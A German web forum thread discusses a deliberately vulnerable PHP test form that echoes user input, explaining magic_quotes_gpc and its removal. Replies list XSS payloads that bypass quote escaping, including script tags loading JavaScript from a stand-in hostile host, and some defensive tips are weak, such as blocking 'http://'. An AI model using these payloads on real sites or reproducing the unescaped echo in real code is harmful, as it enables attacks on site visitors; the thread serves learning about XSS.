Cross Site Scripting - PHP intelligenter geworden?

Hiho

Ich habe mir ein kleines Script geschrieben um es zu hacken:

PHP:
<form method="post" action="test.php?attacke=1">

<input type="text" name="test">

<input type="submit">

</form>


<?

if ($_GET['attacke'])
{

	$foo = $_POST['test'];

	echo "<br>".$foo;
}

else
{
	echo "<br>"."if negativ";
}

?>

ich habe versucht ein javascript einzuschleusen, simples <script>alert("XSS")</script>

es kommt allerdings nur folgendes in den Quellcode:
Code:
[...]
<br><script>alert(\"XSS\")</script>

das ist an und für sich auch gut so, da es sicher ist.

wie kommen diese \ überhaupt da hinein (sicherheitsfeature von php?)?

im habo wiki steht, dass es auf diese art möglich ist code zu starten. (veraltet?)

kann man mittels diesem script, irgnedwie schädlichen code einschläusen?

ich habe es zum testen hier heraufgeladen, jeder ist herzlich dazu eingeladen sich daran zu versuchen.

wäre über sicherheitstipps sehr dankbar =)

meadow
 
Hallo,
was du meinst, nennt sich: magic_quotes_gpc, hat mit XSS aber nichts zu tun.

Eingaben die vom User stammen ($_POST, $_GET etc.) werden automatisch maskiert (sofern der Wert auf On steht) also wird " zu \".
Primär soll dies gegen SQL Injections schützen.

Wenn man bei dir z.B.:
<script>alert(666);</script>

angibt, wird der Code ausgeführt. Man darf halt keine Anführungszeichen benutzen, und sofern man nichts ausgibt, braucht man Anführungszeichen relativ selten.

Eine andere Möglichkeit wäre z.B.
<script src=http://www.666.hell/boeserCode.js></script>

Oder einfach:
<h1>Diese Website ist dooooooooof ;)</h1>
 
hey danke dir =)

werde wohl "http://" in der eingabe nicht zulassen.

was ist denn der unterschied zwischen xss und magic_qutes_gpc ?
im habo wiki, steht das als xss..
 
Hallo,
naja das Habo Wiki ist nicht allwissend, dafür gibts aber noch das gute alte Wikipedia:
Wikipedia.de => XSS

XSS bedeutet einfach, das jmd. unerlaubt HTML (o.ä.) Code in deine Seite einschleust, so dass diese ausgegeben wird, so wie bei deinem Formular.
 
ich fürchte, das gute alte wikipedia und das habo-wiki sind doch allwissend:

wikipedia zitat über xss:

Diese Daten sind oft Code einer clientseitigen Skriptsprache, die als Parameter an eine Website übergeben werden. Wenn dieser Code dann in der vom Server zurückgesendeten Webseite wieder auftaucht, kann es dazu führen, dass der Webbrowser des Benutzers diesen Code ausführt.
 
wie kommen diese \ überhaupt da hinein (sicherheitsfeature von php?)?
im habo wiki steht, dass es auf diese art möglich ist code zu starten. (veraltet?)
Das im Habo-Wiki sind ja auch nur allgemeine Beispiele. Natürlich spielt da auch die Serverkonfiguration noch eine Rolle und auch die Natur das Scriptes, die z.b. durch Vorhandensein von stripslashes() das Ganze begünstigt.

Zum Thema magic_quotes: Das wird in PHP6 abgeschafft werden. Dann ist also wieder der Coder selbst für die Sicherheit verantwortlich und kann sich nicht auf die Serverkonfiguration verlassen. Link: http://www.php.net/~derick/meeting-notes.html#cleanup-of-functionality
 
Hallo,
ob das eine gute Idee ist, dies wieder abzuschaffen. Denn sehr viele Scripts werden dann (ausversehen) sehr unsicher :(
 
naja, ich code grundsätzlich mit mysql_real_escape_string und addslashes.
Aber wenn du echt sicher fahren willst: ich hab mich einfach am PHPBB bedient ;)
In der common.php sind einige der häufigsten angriffsmethoden abgedeckt.
Schau dir das einfach mal an, wenn du diese Art der Verteidigung verstehst dann kannst du diesen code auch in deine scripte einbauen (ist zwar sehr umfangreich aber dafür auch relativ sicher).
Imrahil
 
Original von Mackz
wie kommen diese \ überhaupt da hinein (sicherheitsfeature von php?)?
im habo wiki steht, dass es auf diese art möglich ist code zu starten. (veraltet?)
Das im Habo-Wiki sind ja auch nur allgemeine Beispiele. Natürlich spielt da auch die Serverkonfiguration noch eine Rolle und auch die Natur das Scriptes, die z.b. durch Vorhandensein von stripslashes() das Ganze begünstigt.

Zum Thema magic_quotes: Das wird in PHP6 abgeschafft werden. Dann ist also wieder der Coder selbst für die Sicherheit verantwortlich und kann sich nicht auf die Serverkonfiguration verlassen. Link: http://www.php.net/~derick/meeting-notes.html#cleanup-of-functionality

wtf magic_quotes abschaffen? wird es wenigstens ersetz?
 
Steht doch in dem Link.
Sie empfehlen statt dessen die input_filter extension zu verwenden.

Edit:

@ Meadow:
Ich hatte gerade mal Langeweile ...
Ein paar Möglichkeiten in deinem Beispiel Code trotz magic_quotes auszuführen wären zum Beispiel (getestet in Opera und IE):

Code:
<script>alert(String.fromCharCode(88,83,83))//></script>
oder
Code:
<img src=javascript:alert("XSS") />
oder einfach
Code:
<script src=http://localhost/xss.js></script>
 
Zurück
Oben